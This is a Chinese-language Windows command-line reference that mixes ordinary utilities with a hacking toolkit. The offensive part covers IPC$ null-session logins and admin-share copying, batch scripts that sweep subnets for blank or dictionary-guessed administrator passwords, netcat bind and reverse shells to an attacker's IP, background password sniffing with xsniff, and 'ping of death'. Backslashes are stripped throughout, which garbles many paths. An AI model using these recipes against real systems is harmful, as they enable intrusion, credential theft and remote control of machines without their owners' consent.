命令作用
在9x系統下輸入command就可以打開命令行.而在NT系統上可以輸入cmd來打開,在windows2000後被cmd替代,利用CMD命令查詢系統的信息或者是判斷網路的好壞。
運行操作
CMD命令:開始->運行->鍵入cmd或command(在命令行里可以看到系統版本、檔案系統版本)
命令大全
1. calc-----------啟動計算器
2.certmgr.msc----證書管理實用程式
3.charmap--------啟動字元映射表
4.chkdsk.exe-----Chkdsk磁碟檢查
5. ciadv.msc------索引服務程式
6. cleanmgr-------垃圾整理
7. cliconfg-------SQL SERVER 客戶端網路實用程式
8. Clipbrd--------剪貼簿查看器
9. cmd.exe--------CMD命令提示符
10. compmgmt.msc---計算機管理
11. conf-----------啟動netmeeting
12. dcomcnfg-------打開系統組件服務
13. ddeshare-------打開DDE共享設定
14. devmgmt.msc--- 設備管理器
15. dfrg.msc-------磁碟碎片整理程式
16. diskmgmt.msc---磁碟管理實用程式
17. drwtsn32------ 系統醫生
18. dvdplay--------DVD播放器
19. dxdiag---------檢查DirectX信息
20. explorer-------打開資源管理器
21. eudcedit-------造字程式
22. eventvwr-------事件查看器
23. fsmgmt.msc-----已分享檔案夾管理器
24. gpedit.msc-----組策略
25. iexpress-------木馬捆綁工具,系統自帶
26. logoff---------註銷命令
27. lusrmgr.msc----本機用戶和組
28. notepad--------打開記事本
29. magnify--------放大鏡實用程式
30. mem.exe--------顯示記憶體使用情況
31. mmc------------打開控制台49.
32. mobsync--------同步命令
33.mplayer2-------簡易widnows media player
34. Msconfig.exe---系統配置實用程式
35. mspaint--------畫圖板
36. mstsc----------遠程桌面連線
37. narrator-------螢幕“講述人”
38. net start messenger----開始信使服務
39. netstat -an----(TC)命令檢查接口
40. net stop messenger-----停止信使服務
41. Nslookup-------IP位址偵測器 ,是一個監測網路中 DNS 伺服器是否能正確實現域名解析的命令行工具.
它在Windows NT/2000/XP中均可使用,但在 Windows 98 中卻沒有集成這一個工具。
42. ntbackup-------系統備份和還原
43. ntmsmgr.msc----移動存儲管理器
44. ntmsoprq.msc---移動存儲管理員操作請求
45. odbcad32-------ODBC數據源管理器
46. oobe/msoobe /a----檢查XP是否激活
47. osk------------打開螢幕鍵盤
48. packager-------對象包裝程式
49. perfmon.msc----計算機性能監測程式
50. progman--------程式管理器
51. regedit.exe----註冊表
52. regedt32-------註冊表編輯器
53. regsvr32 /u *.dll----停止dll檔案運行
55. regsvr32 /u zipfldr.dll------取消ZIP支持
55. rononce -p----15秒關機
56. rsop.msc-------組策略結果集
57. secpol.msc-----本地安全策略
58. services.msc---本地服務設定
59. sfc.exe--------系統檔案檢查器
60. sfc /scannow-----掃描錯誤並復原
61. sfc /scannow---windows檔案保護
62. shrpubw--------創建已分享檔案夾
63. shutdown-------60秒倒計時關機命令
64. sigverif-------檔案簽名驗證程式
65. sndrec32-------錄音機
66. Sndvol32-------音量控制程式
67. syncapp--------創建一個公文包
68. sysedit--------系統配置編輯器
69. syskey---------系統加密,一旦加密就不能解開,保護windows xp系統的雙重密碼
70. taskmgr--------任務管理器
71. tourstart------xp簡介(安裝完成後出現的漫遊xp程式)
72. utilman--------輔助工具管理器
73. wiaacmgr-------掃瞄器和照相機嚮導
74. winchat--------XP自帶區域網路聊天
75. winmsd---------系統信息
76. winver---------檢查Windows版本
77. write----------寫字板
78. wmimgmt.msc----打開windows管理體系結構(WMI)
79. wscript--------windows腳本宿主設定
80. wupdmgr--------windows更新程式
操作詳解
net use ipipc$ " " /user:" " 建立IPC空連結
net use ipipc$ "密碼" /user:"用戶名" 建立IPC非空連結
net use h: ipc$ "密碼" /user:"用戶名" 直接登入後映射對方C:到本地為H:
net use h: ipc$ 登入後映射對方C:到本地為H:
net use ipipc$ /del 刪除IPC連結
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把“用戶”添加到管理員中使其具有管理員許可權
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schedule)
net stop 服務名 停止某服務
net time 目標ip 查看對方時間
net time 目標ip /set 設定本地計算機時間與“目標IP”主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網路內開啟了哪些共享
net view ip 查看對方區域網路內開啟了哪些共享
net config 顯示系統網路設定
net logoff 下線的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網路內正在使用的網路連線類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登入後用將密碼改為12345
net password 密碼 更改系統登入密碼
netstat -a 查看開啟了哪些連線埠,常用netstat -an
netstat -n 查看連線埠的網路連線情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協定名 例:netstat -p tcq/ip 查看某協定使用情況
netstat -s 查看正在使用的所有協定使用情況
nbtstat -A ip 對方136到139其中一個連線埠開了的話,就可查看對方最近登入的用戶名
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:“-w數字”用於設定逾時間隔。
ping ip(或域名) 向對方主機傳送默認大小為32位元組的數據,參數:“-l[空格]數據包大小”;“-n傳送數據次數”;“-t”指一直ping。
ping -t -l 65500 ip 死亡之ping(傳送大於64K的檔案並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數“/all”顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools資料夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools資料夾內)
del -F 檔案名稱 加-F參數後就可刪除唯讀檔案,/AR、/AH、/AS、/AA分別表示刪除唯讀、隱藏、系統、存檔檔案,/A-R、/A-H、/A-S、/A-A表示刪除除唯讀、隱藏、系統、存檔以外的檔案。例如“DEL/AR *.*”表示刪除當前目錄下所有只讀檔案,“DEL/A-S *.*”表示刪除當前目錄下除系統檔案以外的所有檔案
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和檔案。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符路徑要移動的檔案名稱 存放移動檔案的路徑移動後檔案名稱 移動檔案,用參數/y將取消確認移動目錄存在相同檔案的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個檔案並把不同之處輸出到3st.txt檔案中,"> "和"> >" 是重定向命令
at id號 開啟已註冊的某個計畫任務
at /delete 停止所有計畫任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已註冊的計畫任務
at 查看所有的計畫任務
at ip time 程式名(或一個命令) /r 在某時間運行對方某程式並重新啟動計算機
finger username @host 查看最近有哪些用戶登入
telnet ip 連線埠 遠程登入伺服器,默認連線埠為23
open ip 連線到IP(屬telnet登入後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
copy 路徑檔案名稱1 路徑檔案名稱2 /y 複製檔案1到指定的目錄為檔案2,用參數/y就同時取消確認你要改寫一份現存目錄檔案
copy c:srv.exe ipadmin$ 複製本地c:srv.exe到對方的admin下
copy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的檔案,註:2st.txt檔案頭要空三排,參數:/b指二進制檔案,/a指ASCLL格式檔案
copy ipadmin$svv.exe c: 或:copyipadmin$*.* 複製對方admini$共享下的srv.exe檔案(所有檔案)至本地C:
xcopy 要複製的檔案或目錄樹 目標地址目錄名 複製檔案和目錄樹,用參數/Y將不提示覆蓋相同檔案
用參數/e才可連目錄下的子目錄一起複製到目標地址下。
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exec:server.exe 登入後,將“IP”的server.exe下載到目標主機c:server.exe 參數:-i指以二進制模式傳送,如傳送exe檔案時用,如不加-i 則以ASCII模式(傳送文本檔案模式)進行傳送
tftp -i 對方IP put c:server.exe 登入後,上傳本地c:server.exe至主機
ftp ip 連線埠 用於上傳檔案至伺服器或進行檔案操作,默認連線埠為21。bin指用二進制方式傳送(執行檔進);默認為ASCII格式傳送(文本檔案時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,接口地址Interface
arp 查看和處理ARP快取,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程式名或命令 /max 或/min 新開一個新視窗並最大化(最小化)運行某程式或命令
mem 查看cpu使用情況
attrib 檔案名稱(目錄名) 查看某檔案(目錄)的屬性
attrib 檔案名稱 -A -R -S -H 或 +A +R +S +H 去掉(添加)某檔案的 存檔,唯讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看檔案,參數:/Q顯示檔案及目錄屬系統哪個用戶,/T:C顯示檔案創建時間,/T:A顯示檔案上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即“DATE/T”、“TIME/T”將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設定環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程式,並顯示出:請按任意鍵繼續....
if 在批處理程式中執行條件處理(更多說明見if命令及變數)
goto 標籤 將cmd.exe導向到批處理程式中帶標籤的行(標籤必須單獨一行,且以冒號打頭,例如:“:start”標籤)
call 路徑批處理檔案名稱 從批處理程式中調用另一個批處理程式 (更多說明見call /?)
for 對一組檔案中的每一個檔案執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設定
echo 信息 在螢幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt檔案中
findstr "Hello" aa.txt 在aa.txt檔案中尋找字元串hello
find 檔案名稱 查找某檔案
title 標題名字 更改CMD視窗標題名字
color 顏色值 設定cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:、D:統一改為:EntSky )
ver 在DOS視窗下顯示版本信息
winver 彈出一個視窗顯示版本信息(記憶體大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源檔案 要替換檔案的目錄 替換檔案
ren 原檔案名稱 新檔案名稱 重命名檔案名稱
tree 以樹形結構顯示出目錄,用參數-f 將列出第個資料夾中檔案名稱稱
type 檔案名稱 顯示文本檔案的內容
more 檔案名稱 逐屏顯示輸出檔案
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認連線埠23為其它任何連線埠
exit 退出cmd.exe程式或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑執行檔的檔案名稱 為執行檔設定一個路徑。
cmd 啟動一個win2K命令解釋視窗。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 註冊表檔案名稱 導入註冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 註冊表檔案名稱 導出註冊表
cacls 檔案名稱 參數 顯示或修改檔案訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D: est.txt /D pub 設定d: est.txt拒絕pub用戶訪問。
cacls 檔案名稱 查看檔案的訪問用戶許可權列表
REM 文本內容 在批處理檔案中添加註解
netsh 查看或更改本地網路配置情況
IIS服務命令
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令:(後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有回響信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc檔案。
-g 取消全局檔案名稱。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地檔案名稱 [上傳到主機上的檔案名稱] 將本地一個檔案傳送至遠端主機中
get 或 recv [遠程主機檔案名稱] [下載到本地後的檔案名稱] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批檔案至本地主機
mput local-files 將本地主機中一批檔案傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的檔案.如果有本地檔案,就將結果寫至本地檔案
ascii 設定以ASCII方式傳送檔案(預設值)
bin 或 image 設定以二進制方式傳送檔案
bell 每完成一次檔案傳送,報警提示
cdup 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連線,可指定連線連線埠
delete 刪除遠端主機中的檔案
mdelete [remote-files] 刪除一批檔案
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的檔案名稱
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連線
prompt 互動提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的檔案許可權
case 當為ON時,用MGET命令拷貝的檔案名稱到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cdup 進入遠程主機目錄的父目錄
! 在本地機中執行互動shell,exit回到ftp環境,如!ls*.zip
#5
MYSQL 命令
mysql -h主機地址 -u用戶名 -p密碼 連線MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
註:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by "密碼"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示錶中的記錄
mysqldump --opt school>school.bbb 備份資料庫:(命令在DOS的mysqlin目錄下執行);注釋:將資料庫school備份到school.bbb檔案,school.bbb是一個文本檔案,檔案名稱任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,範圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskkill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll檔案,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。
Linux系統下基本命令 註:要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄檔案,ls -al 顯示包括隱藏檔案(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 檔案名稱 查看檔案內容
cat >abc.txt 往abc.txt檔案中寫上內容。
more 檔案名稱 以一頁一頁的方式顯示一個文本檔案。
cp 複製檔案
mv 移動檔案
rm 檔案名稱 刪除檔案,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案檔案比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資訊
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的檔案
su 許可權轉換為指定使用者
telnet IP telnet連線對方主機(同win2K),當出現bash$時就說明連線成功。
ftp ftp連線上某伺服器(同win2K)
批處理命令與變數
1:for命令及變數 基本格式
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。
批處理每次能處理的變數從%0—%9共10個,其中%0默認給批處理檔案名稱使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:net use ipipc$ pass /user:user 中ip為%1,pass為%2,user為%3
(set):指定一個或一組檔案,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;“(1 -1 254)”說明:即從254到1 }
command:指定對第個檔案執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關
IN (set):指在(set)中取值;DO command :指執行command
參數:/L 指用增量形式{ (set)為增量形式時 };/F 指從檔案中不斷取值,直到取完為止{ (set)為檔案時,如(d:pass.txt)時 }。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連線,如果成功就把該IP存在test.txt中。
/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP位址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200
存為:ok.exe 說明:輸入一個IP後,用字典檔案d:pass.dic來暴解d:user.dic中的用戶密碼,直到檔案中值取完為止。%%i為用戶名;%1為輸入的IP位址(默認)。
七:
2:if命令及變數 基本格式
IF [not] errorlevel 數字 命令語句 如果程式運行最後返回一個等於或大於指定數字的退出編碼,指定條件為“真”。
例:IF errorlevel 0 命令 指程式執行後返回的值為0時,就值行後面的命令;IF not errorlevel 1 命令指程式執行最後返回的值不等於1,就執行後面的命令。
0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。
IF [not] 字元串1==字元串2 命令語句 如果指定的文本字元串匹配(即:字元串1 等於 字元串2),就執行後面的命令。
例:“if "%2%"=="4" goto start”指:如果輸入的第二個變數為4時,執行後面的命令(注意:調用變數時就%變數名%並加" ")
IF [not] exist 檔案名稱 命令語句 如果指定的檔案名稱存在,就執行後面的命令。
例:“if not nc.exe goto end”指:如果沒有發現nc.exe檔案就跳到":end"標籤處。
IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字元串1==字元串2 命令語句 else 命令語句或 IF [not] exist 檔案名稱 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else 必須與 if 在同一行才有效。當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才能執行,用上< >後就等於是單獨一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”
系統外部命令
註:系統外部命令(均需下載相關工具)
瑞士軍刀:nc.exe
參數說明:
-h 查看幫助信息
-d 後台模式
-e prog程式重定向,一但連線就執行[危險]
-i secs延時的間隔
-l 監聽模式,用於入站連線
-L 監聽模式,連線天閉後仍然繼續監聽,直到CTR+C
-n IP位址,不能用域名
-o film記錄16進制的傳輸
-p[空格]連線埠 本地連線埠號
-r 隨機本地及遠程連線埠
-t 使用Telnet互動方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
基本用法:
nc -nvv 192.168.0.1 80 連線到192.168.0.1主機的80連線埠
nc -l -p 80 開啟本機的TCP 80連線埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024連線埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354連線埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連線192.168.0.2的5354連線埠
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80連線埠,直到CTR+C為止
nc -L -p 80 > c:log.txt 作為蜜罐用2:開啟並不停地監聽80連線埠,直到CTR+C,同時把結果輸出到c:log.txt
nc -L -p 80 < c:honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80連線埠,直到CTR+C,並把c:honeyport.txt中內容送入管道中,亦可起到傳送檔案作用
type.exe c:honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80連線埠,直到CTR+C,並把c:honeyport.txt中內容送入管道中,亦可起到傳送檔案作用
本機上用:nc -l -p 本機連線埠
在對方主機上用:nc -e cmd.exe 本機IP -p 本機連線埠 *win2K
nc -e /bin/sh 本機IP -p 本機連線埠 *linux,unix 反向連線突破對方主機的防火牆
本機上用:nc -d -l -p 本機連線埠 < 要傳送的檔案路徑及名稱
在對方主機上用:nc -vv 本機IP 本機連線埠 > 存放檔案的路徑及名稱 傳送檔案到對方主機
備 註:
| 管道命令
< 或 > 重定向命令。“<;”,例如:tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:winnt >> d:log.txt 意思是:後台執行dir,並把結果存在d:log.txt中
>與>>的區別 ">"指:覆蓋;">>"指:保存到(添加到)。
如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二個命令分別執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。
八:
掃描工具:xscan.exe
基本格式
xscan -host <;起始IP>[-<;終止IP>] <;檢測項目> [其他選項] 掃錨"起始IP到終止IP"段的所有主機信息
xscan -file <;主機列表檔案名稱> <;檢測項目> [其他選項] 掃錨"主機IP列表檔案名稱"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程作業系統類型(通過NETBIOS和SNMP協定)
-port 檢測常用服務的連線埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設定網路適配器,<;適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有回響的主機
-o 跳過沒有檢測到開放連線埠的主機
-t 並發執行緒數量,並發主機數量 指定最大並發執行緒數量和並發主機數量,默認數量為100,10
-log 檔案名稱 指定掃描報告檔案名稱 (後綴為:TXT或HTML格式的檔案)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無回響的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標準連線埠狀態,NT弱口令用戶,最大並發執行緒數量為150,跳過沒有檢測到開放連線埠的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測“hostlist.txt”檔案中列出的所有主機的標準連線埠狀態,CGI漏洞,最大並發執行緒數量為200,同一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放連線埠的主機
九:
命令行方式嗅探器: xsniff.exe
可捕獲區域網路內FTP/SMTP/POP3/HTTP協定密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後台運行
-host 解析主機名
-addr IP位址 過濾IP位址
-port 連線埠 過濾連線埠
-log 檔案名稱 將輸出保存到檔案
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 後台運行嗅探密碼並將密碼信息保存在pass.log檔案中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和udp信息並以ASCII格式輸出
終端服務密碼破解: tscrack.exe
參數說明
-h 顯示使用幫助
-v 顯示版本信息
-s 在螢幕上打出解密能力
-b 密碼錯誤時發出的聲音
-t 同是發出多個連線(多執行緒)
-N Prevent System Log entries on targeted server
-U 卸載移除tscrack組件
-f 使用-f後面的密碼
-F 間隔時間(頻率)
-l 使用-l後面的用戶名
-w 使用-w後面的密碼字典
-p 使用-p後面的密碼
-D 登錄主頁面
用法示例
tscrack 192.168.0.1 -l administrator -w pass.dic 遠程用密碼字典檔案暴破主機的administrator的登入密碼
tscrack 192.168.0.1 -l administrator -p 123456 用密碼123456遠程登入192.168.0.1的administrator用戶
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存為3389.bat) (假設現有用SuperScan或其它掃錨器掃到一批開有3389的主機IP列表檔案3389.txt)
3389.bat意思是:從3389.txt檔案中取一個IP,接著運行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存為hack.bat) (運行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic與tscrack.exe在同一個目錄下;就可以等待結果了)
hack.bat意思是:運行tscrack.exe用字典暴破3389.txt中所有主機的administrator密碼,並將破解結果保存在rouji.txt檔案中。
其它
Shutdown.exe
Shutdown IP位址 t:20 20秒後將對方NT自動關閉(Windows 2003系統自帶工具,在Windows2000下用進就得下載此工具才能用。在前面Windows 2003 DOS命令中有詳細介紹。)
fpipe.exe (TCP連線埠重定向工具) 在第二篇中有詳細說明(連線埠重定向繞過防火牆)
fpipe -l 80 -s 1029 -r 80 當有人掃錨你的80連線埠時,他掃到的結果會完全是的主機信息
Fpipe -l 23 -s 88 -r 23 目標IP 把本機向目標IP傳送的23連線埠Telnet請求經連線埠重定向後,就通過88連線埠傳送到目標IP的23連線埠。(與目標IP建立Telnet時本機就用的88連線埠與其相連線)然後:直接Telnet 127.0.0.1(本機IP)就連線到目標IP的23連線埠了。
OpenTelnet.exe (遠程開啟telnet工具)
opentelnet.exe IP 帳號 密碼 ntlm認證方式 Telnet連線埠 (不需要上傳ntlm.exe破壞微軟的身份驗證方式)直接遠程開啟對方的telnet服務後,就可用telnet ip 連線上對方。
NTLM認證方式:0:不使用NTLM身份驗證;1:先嘗試NTLM身份驗證,如果失敗,再使用用戶名和密碼;2:只使用NTLM身份驗證。
ResumeTelnet.exe (OpenTelnet附帶的另一個工具)
resumetelnet.exe IP 帳號 密碼 用Telnet連線完對方後,就用這個命令將對方的Telnet設定還原,並同時關閉Telnet服務。
FTP命令詳解
FTP命令是Internet用戶使用最頻繁的命令之一,熟悉並靈活套用FTP的內部命令,可以大大方便使用者,並收到事半功倍之效。如果你想學習使用進行後台FTP下載,那么就必須學習FTP指令。
FTP的命令行格式為:
ftp -v -d -i -n -g [主機名] ,其中
-v 顯示遠程伺服器的所有回響信息
-n 限制ftp的自動登錄,即不使用;.n etrc檔案;
-d 使用調試方式;
-g 取消全局檔案名稱。
FTP使用的內部命令如下(中括弧表示可選項):
1.![cmd[args]]:在本地機中執行互動shell,exit回到ftp環境,如:!ls*.zip
2.$ macro-ame[args]:執行宏定義macro-name。
3.account[password]:提供登錄遠程系統成功後訪問系統資源所需的補充口令。
4.append local-file[remote-file]:將本地檔案追加到遠程系統主機,若未指定遠程系統檔案名稱,則使用本地檔案名稱。
5.ascii:使用ascii類型傳輸方式。
6.bell:每個命令執行完畢後計算機響鈴一次。
7.bin:使用二進制檔案傳輸方式。
8.bye:退出ftp會話過程。
9.case:在使用mget時,將遠程主機檔案名稱中的大寫轉為小寫字母。
